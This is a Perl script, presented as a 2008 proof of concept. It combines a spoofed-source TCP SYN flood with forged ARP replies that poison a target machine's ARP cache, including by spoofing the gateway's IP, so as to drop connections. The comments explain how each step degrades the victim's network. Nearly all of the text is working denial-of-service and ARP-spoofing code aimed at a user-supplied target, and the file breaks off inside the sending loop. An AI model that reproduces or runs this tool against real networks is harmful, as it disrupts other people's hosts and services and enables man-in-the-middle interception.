#!/usr/bin/perl
# this is a proof of concept.  it originally started as a syn flooder for
# stress testing, now it's something a bit more elaborate.  it still syn floods,
# however, it also sends out spoofed arp replies from the spoofed source address
# which causes the target machine to cache the spoofed IP's for a longer time, which
# results in connection loss.
#
# another reason for connection loss is when the spoofed source IP is equal to the
# ip of the gateway router, which changes the mac address.  a single packet will drop
# a connection.  this method is your basic man in the middle/arp posioning DoS.
#
#
# - nwo 4/16/2008
####

require 'getopts.pl';

### need to utilize raw sockets to allow spoofing and specify source ports.
use Net::RawIP;
use Net::ARP;
use Net::Pcap;

$dev = Net::Pcap::lookupdev(\$errbuf);

Getopts('t:p:n:');


### function to create random IP's.
sub randip () {
  $oct1 = int rand(200);
  $oct2 = int rand(200);
  $oct3 = int rand(200);
  $oct4 = int rand(200);
  $ip = join('.', "10","$oct2","$oct3","$oct4");
  return("$ip");
}
### function to spoof mac addresses.  *not pretty*
sub randmac () {
  $i1 = int rand(10);
  $i2 = int rand(10);
  $i3 = int rand(10);
  $rmac = join(':', $i1,$i2,$i3,$i1,$i2,$i3);
  return("$rmac");
}

die "Usage: $0 -t  -p  -n \n"
unless ($opt_t && $opt_p && $opt_n);

### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;

$syn = new Net::RawIP;
### For some reason, arp_lookup doesn't always get the mac address on the first try
Net::ARP::arp_lookup($dev,$opt_t,$mac);
if($mac eq "Unknown") {
  Net::ARP::arp_lookup($dev,$opt_t,$mac);
  if($mac eq "Unknown") {
    print "Unable to lookup MAC address.\n";
    exit(1);
  }
}

### super awesome output.
print "Mac found - $mac\n";
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
### start the loop
for($i = 1;$i < $opt_n;$i++) {
  ### randomly select a port out of the @ports array
  $nlist = int rand($list);
  $dport = $ports[$nlist];
  $ranip = &randip;
  $ranmac = &randmac;
  $rport = int rand(65535);

  ### set up the socket..
  $syn->set({
      ip => {
             daddr => $opt_t,
             saddr => $ranip,
            },

  ### specify the destination port and source port.. make sure the syn flag is enabled to
  ### drop the services.  it's possible that using an icmp packet would be more effective
  ### because the target machine will stop receiving packets if the service goes down due
  ### the syn flood - that said, most everyone firewalls against icmp these days.
      tcp => {
              dest => $dport,
              source => $rport,
              ack => 0,
              urg => 0,
              rst => 0,
              fin => 0,
              psh => 0,
              syn => 1
             }
      });
  ### send the packet!
      $syn->send;
  ### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP
  ### with the fake mac address so that it stores it, rather than clearing them due to invalid
  ### mac addresses.  this also generates a lot of network traffic and congestion because of all
  ### of the 'who has' messages and replies - plus the tcp-syn+rst generated when the target machine
  ### realizes that the connection attempt is invalid.
  Net::ARP::send_packet($dev,
                        $ranip,
                        $opt_t,
                        $ranmac,
                        $mac,
                        'reply');